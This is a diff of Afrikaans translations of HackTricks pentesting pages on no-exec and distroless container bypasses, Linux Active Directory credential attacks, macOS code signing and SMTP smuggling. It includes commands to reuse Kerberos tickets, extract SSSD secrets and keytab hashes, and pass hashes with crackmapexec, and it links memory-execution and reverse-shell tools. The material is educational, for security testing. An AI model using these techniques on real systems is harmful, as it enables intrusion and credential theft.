* **Deel hacking truuks deur PRs in te dien aan die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -15,13 +15,13 @@ Leer & oefen GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" da
</details>
{% endhint %}
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
As jy belangstel in 'n **hacking loopbaan** en die onhackbare hack - **ons is op soek na mense!** (_vloeiende Pools skriftelik en gesproke vereis_).
As jy belangstel in 'n **hacking loopbaan** en die onhackbare hack - **ons is op soek na mense!** (_vloeiende Pools geskryf en gesproke vereis_).
{% embed url="https://www.stmcyber.com/careers" %}
## Videos
## Video's
In die volgende video's kan jy die tegnieke wat op hierdie bladsy genoem word, meer in diepte verduidelik vind:
@ -30,7 +30,7 @@ In die volgende video's kan jy die tegnieke wat op hierdie bladsy genoem word, m
## read-only / no-exec scenario
Dit is al hoe meer algemeen om Linux masjiene te vind wat gemonteer is met **read-only (ro) lêerstelsel beskerming**, veral in houers. Dit is omdat dit so maklik is om 'n houer met 'n ro lêerstelsel te laat loop deur **`readOnlyRootFilesystem: true`** in die `securitycontext` in te stel:
Dit is al hoe meer algemeen om linux masjiene te vind wat gemonteer is met **read-only (ro) lêerstelsel beskerming**, veral in houers. Dit is omdat dit so maklik is om 'n houer met 'n ro lêerstelsel te laat loop deur **`readOnlyRootFilesystem: true`** in die `securitycontext` in te stel:
<pre class="language-yaml"><code class="lang-yaml">apiVersion: v1
kind: Pod
@ -45,39 +45,39 @@ securityContext:
</strong> command: ["sh", "-c", "while true; do sleep 1000; done"]
</code></pre>
Tog, selfs al is die lêerstelsel as ro gemonteer, sal **`/dev/shm`** steeds skryfbaar wees, so dit is vals dat ons nie enigiets op die skyf kan skryf nie. Hierdie gids sal egter **gemonteer wees met no-exec beskerming**, so as jy 'n binêre hier aflaai, sal jy **nie in staat wees om dit uit te voer nie**.
Tog, selfs al is die lêerstelsel as ro gemonteer, sal **`/dev/shm`** steeds skryfbaar wees, so dit is vals dat ons nie iets op die skyf kan skryf nie. Hierdie gids sal egter **gemonteer wees met no-exec beskerming**, so as jy 'n binêre hier aflaai, sal jy **nie in staat wees om dit uit te voer nie**.
{% hint style="warning" %}
Van 'n rooi span perspektief maak dit **moeilik om binêre te aflaai en uit te voer** wat nie reeds in die stelsel is nie (soos agterdeure of enumerators soos `kubectl`).
{% endhint %}
## Easiest bypass: Scripts
## Eenvoudigste omseiling: Skripte
Let daarop dat ek binêre genoem het, jy kan **enige skrip uitvoer** solank die interpreter binne die masjien is, soos 'n **shell skrip** as `sh` teenwoordig is of 'n **python** **skrip** as `python` geïnstalleer is.
Tog is dit nie net genoeg om jou binêre agterdeur of ander binêre gereedskap wat jy mag nodig hê om te loop, uit te voer nie.
## Memory Bypasses
## Geheue Omseilings
As jy 'n binêre wil uitvoer maar die lêerstelsel dit nie toelaat nie, is die beste manier om dit te doen deur **dit uit geheue uit te voer**, aangesien die **beskermings daar nie van toepassing is nie**.
### FD + exec syscall bypass
### FD + exec syscall omseiling
As jy 'n paar kragtige skrip enjin in die masjien het, soos **Python**, **Perl**, of **Ruby**, kan jy die binêre aflaai om uit geheue uit te voer, dit in 'n geheue lêer beskrywer (`create_memfd` syscall) stoor, wat nie deur daardie beskermings beskerm gaan word nie en dan 'n **`exec` syscall** aanroep wat die **fd as die lêer om uit te voer** aandui.
Vir hierdie kan jy maklik die projek [**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec) gebruik. Jy kan dit 'n binêre gee en dit sal 'n skrip in die aangeduide taal genereer met die **binêre gecomprimeer en b64 geënkodeer** met die instruksies om dit te **decodeer en dekomprimeer** in 'n **fd** wat geskep is deur `create_memfd` syscall aan te roep en 'n oproep na die **exec** syscall om dit te laat loop.
Vir hierdie kan jy maklik die projek [**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec) gebruik. Jy kan dit 'n binêre gee en dit sal 'n skrip in die aangeduide taal genereer met die **binêre gecomprimeer en b64 geënkodeer** met die instruksies om dit te **decodeer en te dekomprimeer** in 'n **fd** wat geskep is deur `create_memfd` syscall aan te roep en 'n oproep na die **exec** syscall om dit te laat loop.
{% hint style="warning" %}
Dit werk nie in ander skrip tale soos PHP of Node nie omdat hulle nie enige d**efault manier het om rou syscalls** van 'n skrip aan te roep nie, so dit is nie moontlik om `create_memfd` aan te roep om die **geheue fd** te skep om die binêre te stoor nie.
Boonop sal die skep van 'n **regte fd** met 'n lêer in `/dev/shm` nie werk nie, aangesien jy nie toegelaat sal word om dit te laat loop nie omdat die **no-exec beskerming** van toepassing sal wees.
Boonop sal die skep van 'n **regte fd** met 'n lêer in `/dev/shm` nie werk nie, aangesien jy nie toegelaat sal word om dit uit te voer nie omdat die **no-exec beskerming** van toepassing sal wees.
{% endhint %}
### DDexec / EverythingExec
[**DDexec / EverythingExec**](https://github.com/arget13/DDexec) is 'n tegniek wat jou toelaat om die **geheue van jou eie proses** te verander deur sy **`/proc/self/mem`** te oorskryf.
Daarom, deur **die samestelling kode** wat deur die proses uitgevoer word, te beheer, kan jy 'n **shellcode** skryf en die proses "mutate" om **enige arbitrêre kode** uit te voer.
Daarom, **beheer die assembly kode** wat deur die proses uitgevoer word, kan jy 'n **shellcode** skryf en die proses "mutate" om **enige arbitrêre kode** uit te voer.
{% hint style="success" %}
**DDexec / EverythingExec** sal jou toelaat om jou eie **shellcode** of **enige binêre** uit **geheue** te laai en **uit te voer**.
@ -112,16 +112,16 @@ Die doel van distroless houers is om die **aanvaloppervlak van houers te vermind
### Reverse Shell
In 'n distroless houer mag jy **nie eers `sh` of `bash`** vind om 'n gewone skulp te kry nie. Jy sal ook nie binêre soos `ls`, `whoami`, `id`... vind nie, alles wat jy gewoonlik in 'n stelsel hardloop.
In 'n distroless houer mag jy **nie eens `sh` of `bash`** vind om 'n gewone skulp te kry nie. Jy sal ook nie binêre soos `ls`, `whoami`, `id`... vind nie, alles wat jy gewoonlik in 'n stelsel hardloop.
{% hint style="warning" %}
Daarom, jy **sal nie** in staat wees om 'n **reverse shell** te kry of die stelsel te **enumerate** soos jy gewoonlik doen nie.
Daarom, jy **sal nie** in staat wees om 'n **reverse shell** of **te enumerate** die stelsel soos jy gewoonlik doen nie.
{% endhint %}
As die gecompromitteerde houer egter byvoorbeeld 'n flask web loop, dan is python geïnstalleer, en daarom kan jy 'n **Python reverse shell** kry. As dit node loop, kan jy 'n Node rev shell kry, en dieselfde met byna enige **scripting taal**.
As die gecompromitteerde houer egter byvoorbeeld 'n flask web loop, dan is python geïnstalleer, en daarom kan jy 'n **Python reverse shell** kry. As dit node loop, kan jy 'n Node rev shell kry, en dieselfde met byna enige **skriptaal**.
{% hint style="success" %}
Met die scripting taal kan jy die stelsel **enumerate** met behulp van die taal se vermoëns.
Met die skriptaal kan jy **die stelsel enumerate** met behulp van die taal se vermoëns.
{% endhint %}
As daar **geen `read-only/no-exec`** beskermings is nie, kan jy jou reverse shell misbruik om **in die lêerstelsel jou binêre te skryf** en **uit te voer**.
@ -130,11 +130,11 @@ As daar **geen `read-only/no-exec`** beskermings is nie, kan jy jou reverse shel
Echter, in hierdie tipe houers sal hierdie beskermings gewoonlik bestaan, maar jy kan die **vorige geheue-uitvoertegnieke gebruik om dit te omseil**.
{% endhint %}
Jy kan **voorbeelde** vind van hoe om **sommige RCE kwesbaarhede te benut** om scripting tale **reverse shells** te kry en binêre uit geheue uit te voer in [**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE).
Jy kan **voorbeelde** vind van hoe om **sommige RCE kwesbaarhede te benut** om skriptaal **reverse shells** te kry en binêre uit geheue uit te voer in [**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE).
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
As jy belangstel in 'n **hacking loopbaan** en die onhackable te hack - **ons huur aan!** (_vloeiend Pools geskryf en gesproke vereis_).
As jy belangstel in 'n **hacking loopbaan** en die onhackable hack - **ons huur!** (_vloeiende Pools geskryf en gesproke vereis_).
{% embed url="https://www.stmcyber.com/careers" %}

View file

@ -1,22 +1,20 @@
# Linux Active Directory
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Leer & oefen AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Ondersteun HackTricks</summary>
<summary>Support HackTricks</summary>
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PR's in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
'n Linux masjien kan ook teenwoordig wees binne 'n Active Directory omgewing.
@ -57,7 +55,7 @@ Op hierdie bladsy gaan jy verskillende plekke vind waar jy **kerberos kaartjies
CCACHE lêers is binêre formate vir **storing Kerberos akrediteer** en word tipies gestoor met 600 toestemmings in `/tmp`. Hierdie lêers kan geïdentifiseer word deur hul **naamformaat, `krb5cc_%{uid}`,** wat ooreenstem met die gebruiker se UID. Vir verifikasie van die verifikasieticket, moet die **omgewing veranderlike `KRB5CCNAME`** op die pad van die gewenste kaartjie lêer gestel word, wat hergebruik moontlik maak.
Lys die huidige kaartjie wat vir verifikasie gebruik word met `env | grep KRB5CCNAME`. Die formaat is draagbaar en die kaartjie kan **hergebruik word deur die omgewing veranderlike** met `export KRB5CCNAME=/tmp/ticket.ccache` te stel. Kerberos kaartjie naamformaat is `krb5cc_%{uid}` waar uid die gebruiker UID is.
Lys die huidige kaartjie wat vir verifikasie gebruik word met `env | grep KRB5CCNAME`. Die formaat is draagbaar en die kaartjie kan **hergebruik word deur die omgewing veranderlike** met `export KRB5CCNAME=/tmp/ticket.ccache` te stel. Kerberos kaartjie naamformaat is `krb5cc_%{uid}` waar uid die gebruiker se UID is.
```bash
# Find tickets
ls /tmp/ | grep krb5cc
@ -79,12 +77,11 @@ make CONF=Release
```
Hierdie prosedure sal probeer om in verskeie sessies in te spuit, wat sukses aandui deur onttrokken kaartjies in `/tmp` te stoor met 'n naamkonvensie van `__krb_UID.ccache`.
### CCACHE kaartjie hergebruik van SSSD KCM
SSSD hou 'n kopie van die databasis by die pad `/var/lib/sss/secrets/secrets.ldb`. Die ooreenstemmende sleutel word as 'n verborge lêer by die pad `/var/lib/sss/secrets/.secrets.mkey` gestoor. Standaard is die sleutel slegs leesbaar as jy **root** regte het.
Die aanroep van \*\*`SSSDKCMExtractor` \*\* met die --database en --key parameters sal die databasis ontleed en **die geheime ontcijfer**.
Die **`SSSDKCMExtractor`** met die --database en --key parameters sal die databasis ontleed en **die geheime** dekripteer.
```bash
git clone https://github.com/fireeye/SSSDKCMExtractor
python3 SSSDKCMExtractor.py --database secrets.ldb --key secrets.mkey
@ -99,7 +96,7 @@ klist -k /etc/krb5.keytab
```
### Trek rekeninge uit /etc/krb5.keytab
Diensrekening sleutels, wat noodsaaklik is vir dienste wat met root regte werk, word veilig gestoor in **`/etc/krb5.keytab`** lêers. Hierdie sleutels, soortgelyk aan wagwoorde vir dienste, vereis streng vertroulikheid.
Diensrekening sleutels, wat noodsaaklik is vir dienste wat met wortelprivileges werk, word veilig gestoor in **`/etc/krb5.keytab`** lêers. Hierdie sleutels, soortgelyk aan wagwoorde vir dienste, vereis streng vertroulikheid.
Om die inhoud van die keytab-lêer te ondersoek, kan **`klist`** gebruik word. Die hulpmiddel is ontwerp om sleuteldetails te vertoon, insluitend die **NT Hash** vir gebruikersverifikasie, veral wanneer die sleuteltipe as 23 geïdentifiseer word.
```bash
@ -111,7 +108,7 @@ Vir Linux gebruikers bied **`KeyTabExtract`** funksionaliteit om die RC4 HMAC-ha
python3 keytabextract.py krb5.keytab
# Expected output varies based on hash availability
```
Op macOS dien **`bifrost`** as 'n hulpmiddel vir sleuteltab lêer analise.
Op macOS dien **`bifrost`** as 'n hulpmiddel vir sleuteltabelfilaanalyse.
```bash
./bifrost -action dump -source keytab -path /path/to/your/file
```
@ -120,17 +117,16 @@ Met die onttrokken rekening- en hash-inligting kan verbindings met bedieners gev
crackmapexec 10.XXX.XXX.XXX -u 'ServiceAccount$' -H "HashPlaceholder" -d "YourDOMAIN"
```
## Verwysings
* [https://www.tarlogic.com/blog/how-to-attack-kerberos/](https://www.tarlogic.com/blog/how-to-attack-kerberos/)
* [https://github.com/TarlogicSecurity/tickey](https://github.com/TarlogicSecurity/tickey)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#linux-active-directory](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#linux-active-directory)
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Leer & oefen AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>

View file

@ -94,7 +94,7 @@ Boonop is dit moontlik om baie `Security.framework` API's te toets met die sekur
Dit sal `/usr/libexec/security_authtrampoline /bin/ls` as root fork en exec, wat toestemming sal vra in 'n prompt om ls as root uit te voer:
<figure><img src="../../../.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (10).png" alt=""><figcaption></figcaption></figure>
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\

View file

@ -17,9 +17,9 @@ Leer & oefen GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" da
## Basic Information
Mach-o binêre bevat 'n laaiopdrag genaamd **`LC_CODE_SIGNATURE`** wat die **offset** en **grootte** van die handtekeninge binne die binêre aandui. Trouens, deur die GUI-gereedskap MachOView te gebruik, is dit moontlik om aan die einde van die binêre 'n afdeling genaamd **Code Signature** met hierdie inligting te vind:
Mach-o binaire bevat 'n laaiopdrag genaamd **`LC_CODE_SIGNATURE`** wat die **offset** en **grootte** van die handtekeninge binne die binaire aandui. Trouens, deur die GUI-gereedskap MachOView te gebruik, is dit moontlik om aan die einde van die binaire 'n afdeling genaamd **Code Signature** met hierdie inligting te vind:
<figure><img src="../../../.gitbook/assets/image (1).png" alt="" width="431"><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (1) (1).png" alt="" width="431"><figcaption></figcaption></figure>
Die magiese kop van die Code Signature is **`0xFADE0CC0`**. Dan het jy inligting soos die lengte en die aantal blobs van die superBlob wat hulle bevat.\
Dit is moontlik om hierdie inligting in die [bronkode hier](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/osfmk/kern/cs\_blobs.h#L276) te vind:
@ -114,12 +114,12 @@ char end_withLinkage[0];
} CS_CodeDirectory
__attribute__ ((aligned(1)));
```
Let daarop dat daar verskillende weergawes van hierdie struktuur is waar oues minder inligting mag bevat.
Let daarop dat daar verskillende weergawes van hierdie struktuur is waar oues dalk minder inligting bevat.
## Ondertekening van Kode Bladsye
Hashing van die volle binêre sou ondoeltreffend en selfs nutteloos wees as dit net gedeeltelik in geheue gelaai word. Daarom is die kodehandtekening eintlik 'n hash van hashes waar elke binêre bladsy individueel gehasht word.\
Eintlik kan jy in die vorige **Kode Gids** kode sien dat die **bladsygrootte gespesifiseer is** in een van sy velde. Boonop, as die grootte van die binêre nie 'n veelvoud van die grootte van 'n bladsy is nie, spesifiseer die veld **CodeLimit** waar die einde van die handtekening is.
Eintlik kan jy in die vorige **Kode Gids** kode sien dat die **bladgrootte gespesifiseer is** in een van sy velde. Boonop, as die grootte van die binêre nie 'n veelvoud van die grootte van 'n bladsy is nie, spesifiseer die veld **CodeLimit** waar die einde van die handtekening is.
```bash
# Get all hashes of /bin/ps
codesign -d -vvvvvv /bin/ps
@ -157,11 +157,11 @@ openssl sha256 /tmp/*.page.*
```
## Entitlements Blob
Let op dat toepassings ook 'n **entitlement blob** kan bevat waar al die regte gedefinieer is. Boonop kan sommige iOS-binaries hul regte spesifiek in die spesiale slot -7 hê (in plaas van in die -5 regte spesiale slot).
Let daarop dat toepassings ook 'n **entitlement blob** kan bevat waar al die regte gedefinieer is. Boonop kan sommige iOS-binaries hul regte spesifiek in die spesiale slot -7 hê (in plaas van in die -5 regte spesiale slot).
## Special Slots
MacOS-toepassings het nie alles wat hulle nodig het om binne die binêre uit te voer nie, maar hulle gebruik ook **buitelandse hulpbronne** (gewoonlik binne die toepassings **bundle**). Daarom is daar 'n paar slots binne die binêre wat die hashes van 'n paar interessante buitelandse hulpbronne sal bevat om te kontroleer dat hulle nie gewysig is nie.
MacOS-toepassings het nie alles wat hulle nodig het om binne die binêre uit te voer nie, maar hulle gebruik ook **eksterne hulpbronne** (gewoonlik binne die toepassings **bundle**). Daarom is daar 'n paar slots binne die binêre wat die hashes van 'n paar interessante eksterne hulpbronne sal bevat om te kontroleer dat hulle nie gewysig is nie.
Werklik, dit is moontlik om in die Code Directory strukture 'n parameter genaamd **`nSpecialSlots`** te sien wat die aantal spesiale slots aandui. Daar is nie 'n spesiale slot 0 nie en die mees algemene (van -1 tot -6) is:
@ -175,7 +175,7 @@ Werklik, dit is moontlik om in die Code Directory strukture 'n parameter genaamd
## Code Signing Flags
Elke proses het 'n bitmasker wat bekend staan as die `status` wat deur die kern begin word en sommige daarvan kan oorgeskryf word deur die **kodehandtekening**. Hierdie vlae wat in die kodehandtekening ingesluit kan word, is [gedefinieer in die kode](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/osfmk/kern/cs_blobs.h#L36):
Elke proses het 'n bitmasker wat bekend staan as die `status` wat deur die kern gestarte word en sommige daarvan kan oorgeskryf word deur die **kodehandtekening**. Hierdie vlae wat in die kodehandtekening ingesluit kan word, is [gedefinieer in die kode](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/osfmk/kern/cs_blobs.h#L36):
```c
/* code signing attributes of a process */
#define CS_VALID 0x00000001 /* dynamically valid */
@ -226,9 +226,9 @@ Note dat die funksie [**exec\_mach\_imgact**](https://github.com/apple-oss-distr
Elke toepassing stoor **vereistes** wat dit moet **tevrede stel** om uitgevoer te kan word. As die **toepassing vereistes bevat wat nie deur die toepassing tevrede gestel word nie**, sal dit nie uitgevoer word nie (soos dit waarskynlik verander is).
Die vereistes van 'n binêre gebruik 'n **spesiale grammatika** wat 'n stroom van **uitdrukkings** is en word as blobs gekodeer met `0xfade0c00` as die magie waarvan die **hash in 'n spesiale kode-slot gestoor word**.
Die vereistes van 'n binêre gebruik 'n **spesiale grammatika** wat 'n stroom van **uitdrukkings** is en word as blobs gekodeer met `0xfade0c00` as die magiese wat se **hash in 'n spesiale kode-slot gestoor word**.
Die vereistes van 'n binêre kan gesien word deur te loop:
Die vereistes van 'n binêre kan gesien word terwyl dit loop:
{% code overflow="wrap" %}
```bash
@ -246,7 +246,7 @@ designated => identifier "org.whispersystems.signal-desktop" and anchor apple ge
Let op hoe hierdie handtekeninge dinge soos sertifiseringsinligting, TeamID, ID's, regte en baie ander data kan nagaan.
{% endhint %}
Boonop is dit moontlik om 'n paar gecompileerde vereistes te genereer met die `csreq` hulpmiddel:
Boonop is dit moontlik om 'n paar saamgestelde vereistes te genereer met die `csreq` hulpmiddel:
{% code overflow="wrap" %}
```bash

View file

@ -6,7 +6,7 @@ Leer & oefen GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-
<details>
<summary>Support HackTricks</summary>
<summary>Ondersteun HackTricks</summary>
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
@ -17,22 +17,22 @@ Leer & oefen GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-
## Basiese Inligting
Hierdie tipe kwesbaarheid is [**oorspronklik ontdek in hierdie pos**](https://sec-consult.com/blog/detail/smtp-smuggling-spoofing-e-mails-worldwide/) waar dit verduidelik word dat dit moontlik is om **verskille in hoe die SMTP-protokol geïnterpreteer word** wanneer 'n e-pos finaliseer, wat 'n aanvaller in staat stel om meer e-posse in die liggaam van die legitieme een te smokkel, wat dit moontlik maak om ander gebruikers van die betrokke domein (soos admin@outlook.com) na te doen en verdediging soos SPF te omseil.
Hierdie tipe kwesbaarheid is [**oorspronklik ontdek in hierdie pos**](https://sec-consult.com/blog/detail/smtp-smuggling-spoofing-e-mails-worldwide/) waar dit verduidelik word dat dit moontlik is om **verskille in hoe die SMTP-protokol geïnterpreteer word** te benut wanneer 'n e-pos finaliseer, wat 'n aanvaller in staat stel om meer e-posse in die liggaam van die legitieme een te smokkel, wat dit moontlik maak om ander gebruikers van die betrokke domein (soos admin@outlook.com) na te doen en verdediging soos SPF te omseil.
### Waarom
Dit is omdat in die SMTP-protokol, die **data van die boodskap** wat in die e-pos gestuur moet word, deur 'n gebruiker (aanvaller) beheer word wat spesiaal saamgestelde data kan stuur wat die verskille in parsers misbruik wat ekstra e-posse in die ontvanger sal smokkel. Kyk na hierdie geïllustreerde voorbeeld uit die oorspronklike pos:
<figure><img src="../../.gitbook/assets/image (8) (1) (1) (1).png" alt=""><figcaption><p><a href="https://sec-consult.com/fileadmin/user_upload/sec-consult/Dynamisch/Blogartikel/2023_12/SMTP_Smuggling-Overview__09_.png">https://sec-consult.com/fileadmin/user_upload/sec-consult/Dynamisch/Blogartikel/2023_12/SMTP_Smuggling-Overview__09_.png</a></p></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (8) (1) (1) (1) (1).png" alt=""><figcaption><p><a href="https://sec-consult.com/fileadmin/user_upload/sec-consult/Dynamisch/Blogartikel/2023_12/SMTP_Smuggling-Overview__09_.png">https://sec-consult.com/fileadmin/user_upload/sec-consult/Dynamisch/Blogartikel/2023_12/SMTP_Smuggling-Overview__09_.png</a></p></figcaption></figure>
### Hoe
Om hierdie kwesbaarheid te misbruik, moet 'n aanvaller 'n paar data stuur wat die **Uitgaande SMPT-bediener dink dat dit net 1 e-pos is, maar die Inkomende SMTP-bediener dink dat daar verskeie e-posse is**.
Om hierdie kwesbaarheid te benut, moet 'n aanvaller 'n paar data stuur wat die **Outbound SMPT bediener dink dat dit net 1 e-pos is, maar die Inbound SMTP bediener dink dat daar verskeie e-posse is**.
Die navorsers het ontdek dat verskillende **Inkomende bedieners verskillende karakters as die einde van die data** van die e-pos boodskap beskou wat Uitgaande bedieners nie doen nie.\
Byvoorbeeld, 'n gewone einde van die data is `\r\n.\r`. Maar as die Inkomende SMTP-bediener ook `\n.` ondersteun, kan 'n aanvaller eenvoudig **daardie data in sy e-pos voeg en begin om die SMTP-opdragte** van 'n nuwe een aan te dui om dit te smokkel, net soos in die vorige beeld.
Die navorsers het ontdek dat verskillende **Inboud bedieners verskillende karakters as die einde van die data** van die e-pos boodskap beskou wat Outbound bedieners nie doen nie.\
Byvoorbeeld, 'n gewone einde van die data is `\r\n.\r`. Maar as die Inbound SMTP bediener ook `\n.` ondersteun, kan 'n aanvaller eenvoudig **daardie data in sy e-pos voeg en begin om die SMTP-opdragte** van 'n nuwe een aan te dui om dit te smokkel, net soos in die vorige beeld.
Natuurlik kan dit net werk as die **Uitgaande SMTP-bediener nie ook hierdie data** as die einde van die boodskapdata beskou nie, want in daardie geval sal dit 2 e-posse in plaas van net 1 sien, so uiteindelik is dit die desinkronisasie wat in hierdie kwesbaarheid misbruik word.
Natuurlik, dit kan net werk as die **Outbound SMTP bediener nie ook hierdie data** as die einde van die boodskapdata beskou nie, want in daardie geval sal dit 2 e-posse in plaas van net 1 sien, so uiteindelik is dit die desinkronisasie wat in hierdie kwesbaarheid misbruik word.
Potensiële desinkronisasie data:
@ -51,7 +51,7 @@ Leer & oefen GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-
<details>
<summary>Support HackTricks</summary>
<summary>Ondersteun HackTricks</summary>
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**

View file

@ -15,9 +15,9 @@ Leer & oefen GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-
</details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
As jy belangstel in 'n **hacking loopbaan** en die onhackbare hack - **ons is op soek na mense!** (_vloeiend in geskryf en gesproke Pools vereis_).
As jy belangstel in 'n **hacking loopbaan** en die onhackbare hack - **ons is op soek na mense!** (_vloeiend in Pools, geskryf en gesproke, vereis_).
{% embed url="https://www.stmcyber.com/careers" %}
@ -34,7 +34,7 @@ SNMP gebruik ook die poort **162/UDP** vir **traps**. Dit is data **pakkette wat
### MIB
Om te verseker dat SNMP-toegang werk oor vervaardigers en met verskillende kliënt-bediener kombinasies, is die **Management Information Base (MIB)** geskep. MIB is 'n **onafhanklike formaat vir die stoor van toestel-inligting**. 'n MIB is 'n **teks** lêer waarin al die navraagbare **SNMP-objekte** van 'n toestel in 'n **gestandaardiseerde** boomhiërargie gelys word. Dit bevat ten minste een `Object Identifier` (`OID`), wat, benewens die nodige **unieke adres** en 'n **naam**, ook inligting verskaf oor die tipe, toegangregte, en 'n beskrywing van die onderskeie objek.\
Om te verseker dat SNMP-toegang werk oor vervaardigers en met verskillende kliënt-bediener kombinasies, is die **Management Information Base (MIB)** geskep. MIB is 'n **onafhanklike formaat vir die stoor van toestel-inligting**. 'n MIB is 'n **teks** lêer waarin al die navraagbare **SNMP-objekte** van 'n toestel in 'n **gestandaardiseerde** boomhiërargie gelys is. Dit bevat ten minste een `Object Identifier` (`OID`), wat, benewens die nodige **unieke adres** en 'n **naam**, ook inligting verskaf oor die tipe, toegangregte, en 'n beskrywing van die onderskeie objek.\
MIB-lêers is geskryf in die `Abstract Syntax Notation One` (`ASN.1`) gebaseerde ASCII teksformaat. Die **MIBs bevat nie data nie**, maar hulle verduidelik **waar om watter inligting te vind** en hoe dit lyk, wat waardes vir die spesifieke OID teruggee, of watter datatipe gebruik word.
### OIDs
@ -48,7 +48,7 @@ Verder word verskaffers die vryheid gegee om private takke te vestig. Binne hier
